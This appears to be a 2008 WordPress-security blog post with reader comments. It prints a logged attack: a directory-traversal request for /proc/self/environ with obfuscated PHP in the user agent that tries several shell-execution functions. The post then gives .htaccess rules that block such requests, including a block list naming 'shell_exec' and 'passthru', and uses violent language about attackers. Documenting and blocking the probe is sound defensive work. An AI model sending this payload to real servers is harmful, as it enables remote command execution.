Celebrating 20 years online :)
Web Dev + WordPress + Security

Evil Incarnate, but Easily Blocked

As my readers know, I spend a lot of time digging through error logs, preventing attacks, and reporting results. Occasionally, some moron will pull a stunt that deserves exposure, public humiliation, and banishment. There is certainly no lack of this type of nonsense, as many of you are well-aware.

3G Blacklist

Even so, I have to admit that I am very happy with my latest strategy against crackers, spammers, and other scumbags, namely, the 3G Blacklist. Since implementing this effective HTAccess security method, I have seen a dramatic decrease in the overall volume of malicious activity recorded in my Apache, PHP, and 404 error logs. Thankfully, the 3G Blacklist has kept things pretty quiet around here, at least as far as malicious activity is concerned. In fact, it has been awhile since I’ve seen anything worthy of sharing with you — until now.

Evil Incarnate

The depths to which spammers and crackers sink never ceases to amaze me. From cryptic character strings and cloaked IP information to SQL injection and denial-of-service attacks, I’ve seen my share of sinister business hitting the server. Not much surprises me these days, but seeing a few log entries like this certainly caught my attention:

TIME: September 2nd 2008, 10:00am

404: *https://perishablepress.com/press/2007/10/01/htaccess-combo-pack-wordpress-permalinks-and-non-www-redirect/index.php?l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

SITE: https://perishablepress.com/

SOURCE: Perishable/Perishable


QUERY STRING: l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ


USER AGENT: <? $x0e=\\\"\\\\145x\\\\x65\\\\x63\\\"; $x0f=\\\"\\\\x66eo\\\\146\\\"; 
$x12=\\\"i\\\\163\\\\x5f\\\\162\\\\x65s\\\\157ur\\\\x63\\\\x65\\\"; $x13=\\\"\\\\152\\\\157\\\\x69\\\\156\\\"; 
$x15=\\\"ob\\\\137\\\\x65\\\\156d\\\\137\\\\x63lea\\\\156\\\"; $x16=\\\"\\\\x6fb_st\\\\x61\\\\x72\\\\164\\\"; 
$x17=\\\"\\\\x70\\\\141\\\\163s\\\\164\\\\x68\\\\162\\\\165\\\"; $x18=\\\"\\\\x70\\\\143\\\\154ose\\\"; 
$x19=\\\"p\\\\157\\\\160e\\\\x6e\\\"; $x1a=\\\"\\\\163h\\\\145\\\\154l\\\\137\\\\x65\\\\170e\\\\143\\\"; 
function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  
$x0c = \\\'\\\'; if (!empty($x0b)) {if($x11(\\\'exec\\\')) {@$x0e($x0b,$x0c);$x0c = $x13(\\\"\\\\n\\\",$x0c); 
}elseif($x11(\\\'shell_exec\\\')) {$x0c = @$x1a($x0b); }elseif($x11(\\\'system\\\')) {@$x16();@$x1b($x0b);$x0c = 
@$x14();@$x15(); }elseif($x11(\\\'passthru\\\')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = 
@$x19($x0b,\\\"\\\\x72\\\"))){ $x0c = \\\"\\\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } 
return $x0c;}echo x0b(\\\"ec\\\\150\\\\157\\\\x20c\\\\1624n\\\\153\\\\137\\\\x72oc\\\\153s\\\");?>


DUDE!! — WTF is up with that!?!?! Did you check out the user-agent on that thing!? And what about that query string? How far up the directory structure did you want to go? I mean, seriously.. that is some evil business right there. Somebody clearly put a lot of effort into that one, obviously intending to do some major damage to something deep within the server. What kind of depraved, evil bastard is writing this stuff?

Even worse, what kind of scumbag loser is going around probing random servers with this demented nonsense? I don’t know, and don’t even know if I want to know. Messing with other people’s property like that — you should be hung out and shot dead, twice in the face.

Child’s Play

Fortunately, stopping this ebil nonsense is easier than flushing a toilet. First, let’s block that nasty query-string by adding the following line to the Query String section of the 3G Blacklist1:

 RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]

Next, let’s seal the deal by blocking any user agents containing scripted information. Do this by adding the following lines to the User Agent section of the 3G Blacklist:

SetEnvIfNoCase User-Agent "shell_exec"  keep_out
SetEnvIfNoCase User-Agent "passthru"    keep_out
SetEnvIfNoCase User-Agent "function"    keep_out

Or, if you would like to use this protective method by itself (i.e., independent of the 3G Blacklist), simply drop this code into your site’s web-accessible HTAccess file to enjoy complete protection against such attacks:

# block evil incarnate query strings
<ifmodule mod_rewrite.c>
 RewriteCond %{QUERY_STRING} \.\.\/    [NC,OR]
 RewriteRule .* -                      [F,L]
# block evil incarnate user agents
SetEnvIfNoCase User-Agent "shell_exec"  keep_out
SetEnvIfNoCase User-Agent "passthru"    keep_out
SetEnvIfNoCase User-Agent "function"    keep_out
<Limit GET POST>
 order allow,deny
 allow from all
 deny from env=keep_out

The first part of this code is basically telling Apache to kick to the curb any requests for URLs with query strings containing the “../” character string. There is no reason this string should ever appear in legitimate URLs.

Then, the second part of this code simply blocks any user agents containing the terms “shell_exec”, “passthru”, or “function”. Again, there is no reason for these strings to appear in legitimate user-agent strings.

There are actually many different ways to block this type of aggressive attack, but I think targeting the URL/query-string attack vector while blocking scripts in the user-agent string will prove the most effective. Think of it as breaking both legs and one arm of the attacker (i.e., the query string may be changed, but there is no way around the blocked scripts). Of course, I will be keeping a close eye on this type of attempted exploit, and will certainly post afresh with any further information, suggested updates, edits, additions, etc.


1 This protection will also be included in the upcoming 4G Blacklist.

About the Author
Jeff Starr = Web Developer. Book Author. Secretly Important.
Blackhole Pro: Trap bad bots in a virtual black hole.

6 responses to “Evil Incarnate, but Easily Blocked”

  1. Rick Beckman 2008/09/15 9:53 am

    Wouldn’t blocking “../” prevent things like style sheets from referencing images relatively in different directories?

    For instance, if a theme is set up like this:


    If the style sheet in /custom/ needs to refer to one of the Theme’s image, it must use “../images/” to get there. Wouldn’t that be blocked?

  2. No sir, we are blocking query strings and user agents here. Stylesheets and other external resources are not affected.

  3. Rick Beckman 2008/09/15 10:12 am

    Oh, I see what you did there. :)

  4. I’m glad you’ve figured that out! Malicious spam can be such a pain to deal with!

  5. F. Andy Seidl 2008/09/20 6:53 pm

    As a webmaster, you definitely should use user-agent headers to manager server traffic. But understand that this is purely a pragmatic tactic and not a serious security measure.

    I wrote more about this here:

    Webmaster Tips: Blocking Selected User-Agents (404 link removed 2017/01/21)

  6. Jeff Starr 2008/09/21 9:04 am

    Trust me, when your site is hosted on a shared server, this is as serious as it gets.. ;)

Comments are closed for this post. Something to add? Let me know.
Perishable Press is operated by Jeff Starr, a professional web developer and book author with two decades of experience. Here you will find posts about web development, WordPress, security, and more »
WP Themes In Depth: Build and sell awesome WordPress themes.
Crazy that we’re almost halfway thru 2024.
I live right next door to the absolute loudest car in town. And the owner loves to drive it.
8G Firewall now out of beta testing, ready for use on production sites.
It's all about that ad revenue baby.
Note to self: encrypting 500 GB of data on my iMac takes around 8 hours.
Getting back into things after a bit of a break. Currently 7° F outside. Chillz.
2024 is going to make 2020 look like a vacation. Prepare accordingly.
Get news, updates, deals & tips via email.
Email kept private. Easy unsubscribe anytime.